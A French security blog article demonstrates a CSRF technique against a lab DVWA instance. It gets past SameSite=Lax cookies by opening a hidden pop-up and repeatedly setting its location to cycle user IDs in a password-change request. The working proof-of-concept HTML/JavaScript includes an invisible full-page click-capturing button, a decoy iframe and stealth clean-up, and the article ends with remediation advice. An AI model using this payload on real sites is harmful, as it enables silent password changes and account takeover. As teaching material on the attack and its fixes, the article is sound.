Afin de prévenir les attaques CSRF (Cross-Site Request Forgery), les bonnes pratiques de sécurité, comme celles de l’OWASP, recommandent l’utilisation d’un modèle de jeton de synchronisation ou jeton anti-CSRF.
L’absence de jeton n’entraîne pas nécessairement une vulnérabilité et plusieurs facteurs peuvent rendre l’exploitation difficile ou atténuer l’impact :
- Attribut
SameSite
àLax
ouStrict
sur le cookie de session ; - Utilisation de JSON ou d’un autre format de données ;
- Utilisation de méthodes autres que
GET
ouPOST
.
Le positionnement de l’attribut SameSite
à Lax
est ce qui va nous intéresser dans cet article.
Cet article montre comment, via une attaque de type CSRF, réaliser plusieurs requêtes cross-origine, malgré la protection du cookie de session via l’attribut SameSite
.
Les tests ont été réalisés sur Firefox 126.0 (64-bit) et Chrome 124.0 sous Linux.
L’article est aussi disponible en anglais 🇬🇧
Rappel SameSite
L’attribut SameSite
contrôle si un cookie est envoyé avec les requêtes cross-origine / intersites (protocole, domaine ou port différent), offrant ainsi une protection contre les attaques CSRF.
Les valeurs de cet attribut sont les suivantes :
Scrict
: aucune requête cross-origine n’est autorisée, le clic sur un lien n’enverra pas le cookie concernéLax
: requête cross-origine autorisée pour la méthode GET et que la requête résultant d’une navigation Top-level effectuée par l’utilisateur, par exemple en cliquant sur un lien.None
: pas de restriction
En l’absence de positionnement de cet attribut, les navigateurs modernes tendent de plus en plus à traiter le cookie avec la valeur Lax. Ce comportement n’est toutefois pas généralisé, dû aux effets de bord potentiels.
Scénario
- Une application a configuré
SameSite=Lax
sur le cookie de session ; - L’endpoint
/vulnerabilities/csrf/?password_new=&password_conf=&id=&Change=Change
est une fonctionnalité administrateur permettant de modifier le mot de passe d’un utilisateur sur l’application ; - Le paramètre
id
identifiant l’utilisateur est itérable, mais non prédictible ; - Il n’y a pas de demande d’un second facteur ou du mot de passe actuel sur le formulaire de changement de mot de passe.
Une attaque CSRF classique consisterait à envoyer un lien à un administrateur pointant vers /vulnerabilities/csrf/?password_new=&password_conf=&id=&Change=Change
avec le paramètre id
correspondant à l’utilisateur à modifier.
Cependant, nous nous plaçons dans le cas où il n’est pas possible de déterminer l’identifiant associé à l’utilisateur que l’on veut modifier. Le paramètre id
est cependant itérable, de sorte qu’en incrémentant l’identifiant, on peut tomber sur l’utilisateur souhaité.
Il est donc nécessaire de réaliser plusieurs requêtes pour tomber sur le bon paramètre id
.
Dans un scénario d’hameçonnage, un utilisateur ne cliquera probablement que sur un seul des liens envoyés, il faut donc que la cible du lien permette de réaliser plusieurs requêtes.
Pour la preuve de concept, j’ai utilisé une version de la DVWA en modifiant quelques fichiers et paramètres. Si vous souhaitez reproduire mon environnement, les modifications sont détaillées plus bas
Fausse solution – Images multiples
Comment faire plusieurs requêtes GET à partir de l’ouverture d’une unique page ?
On pourrait se dire que des appels AJAX ou Fetch sont une bonne idée, mais les navigateurs mettent en place des restrictions supplémentaires sur ces fonctions, il est donc préférable de passer par des soumissions de formulaire ou autres actions de navigation "naturelles".
Par exemple, Firefox peut bloquer les cookies cross-origine via sa protection Enhanced Tracking Protection
L’utilisation d’image, avec en source notre charge utile, pourrait sembler une bonne idée, car une balise <img />
semble inoffensive. Testons avec le fichier HTML suivant :
<html>
<body>
<img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=5&Change=Change">
<img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=4&Change=Change">
<img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=3&Change=Change">
<img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=2&Change=Change">
<img src="http://127.0.0.1:4280/vulnerabilities/csrf/?password_new=password&password_conf=password&id=1&Change=Change">
</body>
</html>
Si un administrateur connecté sur le site ciblé ouvre une page contenant le code ci-dessus, 5 requêtes GET vont bien être réalisées :
Cependant, le cookie n’est pas envoyé avec ces requêtes :
Cela s’explique facilement si on lit la documentation de Firefox à ce sujet :
Lax
: Le cookie n’est pas envoyé sur les requêtes inter-sites, telles que les appels pour charger des images ou des iframes, mais il est envoyé lorsqu’un utilisateur navigue vers le site d’origine à partir d’un site externe (par exemple, s’il suit un lien).
Il va donc falloir trouver autre chose !
Solution
L’objectif est d’hameçonner un utilisateur connecté vers une page que l’on contrôle afin que cette page réalise de multiples requêtes GET vers /vulnerabilities/csrf/?password_new=&password_conf=&id=&Change=Change
en itérant sur le paramètre id
.
Les actions suivantes sont dites de top-level navigation et permettent de réaliser une requête GET avec les cookies configurés avec SameSite=Lax
:
- Cliquer manuellement sur un lien ;
- Redirection via la modification de la propriété
Window.location
; - Envoi d’un formulaire avec la méthode GET.
Le problème de ces 3 méthodes est qu’elles vont rediriger notre page vers la page de l’application ciblée. Il ne sera alors pas possible de réaliser d’autres requêtes GET.
Pour palier à ce problème, nous allons utiliser l’édition de la propriété Window.location
mais sur un objet Window autre que la page malveillante utilisée, afin d’éviter la redirection de la page.
L’appel à window.open(url,target,windowFeatures)
permet de charger une ressource spécifique dans un contexte de navigation (un onglet, une fenêtre ou une iframe). Le retour de cet appel est un objet Window
comme souhaité.
Ci-dessous, le code source de la page qui va ouvrir un nouvel onglet vers notre cible et mettre à jour la propriété location
afin de réaliser de multiples requêtes GET :
<html>
<h1>CSRF pop-up PoC</h1>
<script>
const pwd = "toto";
const url = "http://127.0.0.1:4280/vulnerabilities/csrf/?password_new="+pwd+"&password_conf="+pwd+"&Change=Change&id=";
var id = 100;
var popup = window.open(url+id,"_blank");
console.log(popup);
function postLoop() {
setTimeout(function(){
if (id > 1){
id--;
console.log("Mise à jour de l'attribut location pour l'id : "+id);
popup.location = url+id ;
postLoop();
}
}, 500);
}
postLoop();
</script>
</html>
Plusieurs raisons :
- Ouvrir 1 onglet ou fenêtre ce n’est déjà pas très discret, alors en ouvrir 50…
- Le navigateur va nous en empêcher. Lors de mes tests, Firefox m’autorisait 20 ouvertures d’onglets avant de m’afficher un avertissement (et de bloquer les autres ouvertures) :
Bien, testons donc le PoC ci-dessus sur notre application… résultat ?
Et oui, fini le bon temps où en ouvrant nos sites louches favoris, ces derniers pouvaient ouvrir de nombreuses publicités avec du contenu très pertinent ! Sauf autorisation explicite, l’ouverture de pop-up est bloquée sur les navigateurs modernes dignes de ce nom (et merci).
Il existe toutefois des évènements qui permettent d’ouvrir des pop-up sans être bloqués : change click dblclick auxclick mousedown mouseup pointerdown pointerup notificationclick reset submit touchend contextmenu
, mais ces évènements nécessitent une action utilisateur.
Ici, nous allons :
- Écouter l’évènement
click
sur un bouton pour ouvrir notre fenêtre et obtenir un objetWindow
afin de mettre à jour la propriétélocation
; - Utiliser du CSS pour que notre bouton occupe l’ensemble de la page et soit invisible ;
- Ajouter une iframe pointant vers la page de l’application légitime, pour ne pas alerter l’utilisateur (en supposant que l’entête
X-Frame-Options
ne soit pas renvoyé par le site ciblé) ; - Ajouter des options pour minimiser la visibilité de la fenêtre ouverte après le clic utilisateur.
Le code modifié est le suivant :
<html>
<style>
/* Style pour que le bouton prenne la totalité de la page */
#openButton {
position: fixed;
top: 0;
left: 0;
width: 100vw;
height: 100vh;
z-index: 999; /* S'assurer d'être au dessus des autres éléments */
opacity: 0; /* boutton invisible */
cursor: default; /* Montrer un pointeur classique*/
}
</style>
<!-- Iframe pour faire croire à l'utilisateur qu'on est sur une page de l'application -->
<body>
<iframe width="100%" height="100%" frameborder="0" src="http://127.0.0.1:4280/index.php"></iframe>
<!-- Le bouton sur lequel on veut faire cliquer la victime -->
<button id="openButton">Open Link</button>
<!-- Intercepter l'évènement sur le clic du boutton pour ouvrir un pop-up sans avertissment -->
<script>
document.getElementById('openButton').addEventListener('click', function(event) {
const pwd = "CSRF_succeed"
var url = "http://127.0.0.1:4280/vulnerabilities/csrf/?password_new="+pwd+"&password_conf="+pwd+"&Change=Change&id=";
var id = 100;
var features = 'width=1,height=1,left=10000,top=10000,toolbar=no,location=no,status=no,menubar=no,scrollbars=no';
var popup = window.open(url+id,'_blank',features);
// Modification régulière de la proprité location du pop-up
// pour réaliser de multiples requêtes GET
console.log(popup);
console.log(popup.location);
function getLoop() {
setTimeout(function(){
if (id > 1){
id--;
console.log("update open location to id "+id);
popup.location = url+id ;
getLoop();
}
}, 100);
}
getLoop();
});
</script>
</body>
</html>
Testons cela, en simulant notre attaque :
On peut voir les choses suivantes :
- L’utilisateur se connecte sur l’application DVWA ;
- Il ouvre une nouvelle fenêtre et navigue sur notre lien hébergeant notre charge utile (on simule de l’hameçonnage) ;
- Lors du clic, on peut voir dans la console que la propriété
location
de la fenêtre est mise à jour très rapidement ; - La fenêtre ouverte était sur un second écran et en tout petit, ce qui la rend assez invisible à l’utilisateur ;
- En étendant cette fenêtre, on constate que la dernière requête a mis à jour le mot de passe, ce que l’on constate en se déconnectant de l’application puis en tentant de se connecter avec l’ancien mot de passe.
Note : Les manières de cacher ou réduire la fenêtre ouverte varie selon les navigateurs
Pour aller plus loin
Être (un peu) plus discret
Dans le PoC ci-dessus, on laisse la fenêtre ouverte pour pouvoir l’agrandir et constater le changement de mot de passe. Il est bien évidemment possible de la fermer après avoir réalisé les requêtes et aussi de rediriger notre page malveillante initiale vers le site légitime.
On peut ainsi modifier notre fonction getLoop
en ajoutant une condition else
pour gérer la fin de nos requêtes :
function getLoop() {
setTimeout(function(){
if (id > 1){
id--;
console.log("update open location to id "+id);
popup.location = url+id ;
getLoop();
}else{
// on ferme notre fenêtre & on redirige la page actuelle
popup.close();
window.location = "http://127.0.0.1:4280/index.php";
}
}, 10);
}
"Trop nul, que des requêtes GET !"
Il existe des contournements permettant de réaliser des requêtes avec d’autres méthodes. Notamment, des frameworks Web supportant la surcharge de méthode. Par exemple, avec Symfony, il est possible de spécifier un paramètre _method
qui indiquera la méthode réelle utilisée.
Je ne vais pas détailler ces points, de nombreux articles les expliquent déjà très bien. L’article Bypassing Samesite Cookie Restrictions with Method Override liste une partie des framework Web supportant la surcharge de méthode.
De plus, PortSwigger a aussi réalisé un lab pour tester ce comportement.
Enfin, de manière plus simple, certaines applications Web récupère les données de paramètre transmis, indépendamment du fait qu’ils soient passés dans le corps de la requête via une méthode POST ou en url via GET. Quelques exemples :
- PHP : variable superglobale
$_REQUEST["param"]
; - Java (Spring Boot) : la méthode
getParameter("param")
sur un objetHttpServletRequest
;
Correction
Comment se protéger contre cette attaque ? La meilleure solution reste de mettre en place un jeton anti-CSRF en suivant les bonnes pratiques de l’OWASP. Sa mise en place peut toutefois demander du développement supplémentaire, pas forcément évident si la technologie utilisée ne propose pas de solution déjà pré-faite.
Des solutions alternatives peuvent être mises en place en premier lieu. Dans les solutions suivantes, il est supposé que le cookie de session possède toujours l’attribut SameSite
à Lax
:
- Cookie avec l’option
SameSite
àStrict
: Efficace, mais va impacter l’ergonomie, car aucune requête inter-site ne sera permise avec les cookies, même les redirections ou le clic sur des liens ; - Utiliser des méthodes autres que GET : Le cookie de session ne sera pas transmis grâce à l’attribut
SameSite
àLax
. - Imposer un 2ème facteur pour la réalisation des actions sensibles, le mot de passe actuel de l’utilisateur par exemple.
Application de test utilisée
L’application utilisée pour le PoC est, pour des raisons de simplicité, la DVWA.
La ligne 54 du fichier DVWA/dvwa/includes/dvwaPage.inc.php la fonction dvwa_start_session
est modifiée pour positionner la valeur de l’attribut SameSite
à Lax
:
else {
$httponly = false;
$samesite = "Lax";
}
Sur la page de changement du mot de passe, on ajoute la vérification de l’identifiant passé en paramètre devant correspondre à l’utilisateur connecté. Pour cela, on modifie le fichier DVWA/vulnerabilities/csrf/source/low.php :
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
$id_input = $_GET['id'];
$current_user = dvwaCurrentUser();
// get current user id and check if supplied id match
$query = "SELECT `user_id` FROM users WHERE user= '" . $current_user . "';";
$res = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$user_id = mysqli_fetch_assoc($res)['user_id'];
$html .= "<pre> id from DB : ".$user_id. "</br>ID provided: ".$id_input."</br></pre>";
// Do the passwords match and user id match ?
if( $pass_new == $pass_conf && $user_id == $id_input) {
[pas de modification]
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords or id did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
On peut aussi modifier le formulaire à la ligne 62 du fichier DVWA/vulnerabilities/csrf/index.php pour ajouter le champ id
dans la demande de changement de mot de passe :
$page[ 'body' ] .= "
New password:<br />
<input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_new\"><br />
Confirm new password:<br />
<input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_conf\"><br />
ID of account:<br />
<input type=\"text\" AUTOCOMPLETE=\"off\" name=\"id\"><br />
<br />
<input type=\"submit\" value=\"Change\" name=\"Change\">\n";
Une fois les modifications apportées, on peut construire les images et lancer les conteneurs. La commande lancée dans le dossier racine DVWA : sudo docker-compose up -d --build
.
Puis, on modifie le niveau de sécurité de l’application depuis l’interface à Low pour que l’application utilise la fonctionnalité de changement de mot de passe qui a été modifiée :